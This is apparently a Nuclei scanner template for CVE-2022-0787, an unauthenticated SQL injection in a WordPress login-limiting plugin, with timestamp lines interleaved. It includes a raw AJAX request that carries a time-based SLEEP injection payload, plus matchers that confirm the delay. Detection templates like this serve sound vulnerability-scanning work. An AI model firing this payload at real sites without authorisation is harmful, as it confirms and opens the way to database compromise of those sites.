2023-10-17 07:20:28 +00:00
id : CVE-2022-0787
info :
name : Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection
author : theamanrawat
severity : critical
description : |
The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
remediation : Fixed in version 5.1
reference :
- https://wpscan.com/vulnerability/69329a8a-2cbe-4f99-a367-b152bd85b3dd
- https://wordpress.org/plugins/wp-limit-failed-login-attempts/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0787
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-0787
cwe-id : CWE-89
2023-11-27 09:19:41 +00:00
epss-score : 0.05057
2023-12-12 11:07:52 +00:00
epss-percentile : 0.9206
2023-11-27 09:19:41 +00:00
cpe : cpe:2.3:a:limit_login_attempts_project:limit_login_attempts:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-11-27 09:19:41 +00:00
max-request : 1
vendor : limit_login_attempts_project
product : limit_login_attempts
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : wpscan,cve,cve2022,sqli,wordpress,wp-plugin,wp,wp-limit-failed-login-attempts,limit_login_attempts_project
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
@timeout : 15s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT+7382+FROM+(SELECT(SLEEP(6)))ameU)
matchers :
- type : dsl
dsl :
- duration>=6
- status_code == 200
2023-11-26 11:25:51 +00:00
- contains(header, "text/html")
2023-10-17 07:20:28 +00:00
- contains(body, 'iTotalDisplayRecords')
condition : and
2023-12-12 12:02:03 +00:00
# digest: 4b0a00483046022100ba4042ee1b1003025f7bb96d05bc28437c96a1dc8ea9f38f779add18fe54053f022100ab1336a2c3907b2de7261569d18a8e59a392d5c55aca51687fac36311cb65339:922c64590222798bb761d5b6d8e72950